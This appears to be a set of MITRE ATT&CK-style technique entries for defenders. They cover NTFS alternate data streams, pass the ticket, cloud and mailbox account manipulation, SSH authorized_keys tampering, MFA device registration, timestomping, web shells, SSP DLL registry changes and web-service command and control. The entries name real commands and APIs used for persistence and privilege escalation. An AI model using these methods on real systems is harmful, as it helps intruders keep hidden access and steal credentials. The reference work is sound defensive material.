Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)

Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system. In this technique, valid Kerberos tickets for Valid Accounts are captured by OS Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket) Silver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks) Golden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)

Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups.(Citation: FireEye SMOKEDHAM June 2021) These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.

Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment. For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals) In infrastructure-as-a-service (IaaS) environments, after gaining access through Cloud Accounts, adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes) Adversaries may also use the <code>CreateAccessKey</code> API in AWS or the <code>gcloud iam service-accounts keys create</code> command in GCP to add access keys to an account. Alternatively, they may use the <code>CreateLoginProfile</code> API in AWS to add a password that can be used to log into the AWS Management Console for Cloud Service Dashboard.(Citation: Permiso Scattered Spider 2023)(Citation: Lacework AI Resource Hijacking 2024) If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. Cloud Accounts).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to Forge Web Credentials tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated. (Citation: Crowdstrike AWS User Federation Persistence) In Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account.(Citation: Mandiant APT42 Operations 2024) As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user’s primary password is reset.(Citation: Microsoft Entra ID App Passwords)

Adversaries may grant additional permission levels to maintain persistent access to an adversary-controlled email account. For example, the <code>Add-MailboxPermission</code> PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google Workspace, delegation can be enabled via the Google Admin console and users can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation: Google Ensuring Your Information is Safe) Adversaries may also assign mailbox folder permissions through individual folder permissions or roles. In Office 365 environments, adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Mandiant Defend UNC2452 White Paper) This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can add Additional Cloud Roles to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: Internal Spearphishing), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)

An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker) (Citation: Microsoft O365 Admin Roles) This account modification may immediately follow Create Account or other malicious account activity. Adversaries may also modify existing Valid Accounts that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts. For example, in AWS environments, an adversary with appropriate permissions may be able to use the <code>CreatePolicyVersion</code> API to define a new version of an IAM policy or the <code>AttachUserPolicy</code> API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation) In some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to Create Account or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)

Adversaries may modify the SSH <code>authorized_keys</code> file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The <code>authorized_keys</code> file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <code>&lt;user-home&gt;/.ssh/authorized_keys</code> (or, on ESXi, `/etc/ssh/keys-<username>/authorized_keys`).(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives `PubkeyAuthentication` and `RSAAuthentication` to the value `yes` to ensure public key and RSA authentication are enabled, as well as modify the directive `PermitRootLogin` to the value `yes` to enable root authentication via SSH.(Citation: Broadcom ESXi SSH) The SSH config file is usually located under <code>/etc/ssh/sshd_config</code>. Adversaries may modify SSH <code>authorized_keys</code> files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user. Where authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. SSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` Network Device CLI command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)

Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance. MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022) Similarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lion 2025) Devices registered in Entra ID may be able to conduct Internal Spearphishing campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a Service Exhaustion Flood on an Entra ID tenant by registering a large number of devices.(Citation: AADInternals - BPRT)

An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023) Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC) This account modification may immediately follow Create Account or other malicious account activity. Adversaries may also modify existing Valid Accounts that they have compromised. Note that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation: AWS EKS IAM Roles for Service Accounts)(Citation: Microsoft Azure Kubernetes Service Service Accounts) In these cases, this technique may be used in conjunction with Additional Cloud Roles.

An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain. On Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups.(Citation: Microsoft Net Localgroup)(Citation: Microsoft Net Group) On Linux, adversaries may use the `usermod` command for the same purpose.(Citation: Linux Usermod) For example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage Remote Desktop Protocol to log into the endpoints in the future.(Citation: Microsoft RDP Logons) Adversaries may also add accounts to VPN user groups to gain future persistence on the network.(Citation: Cyber Security News) On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage Sudo and Sudo Caching for elevated privileges. In Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.(Citation: RootDSE AD Detection 2022)

Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)

A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013) Web shells may serve as Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.

Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages</code> and <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. (Citation: Graeber 2014)

Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: Broadcom BirdyClient Microsoft Graph API 2024) Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.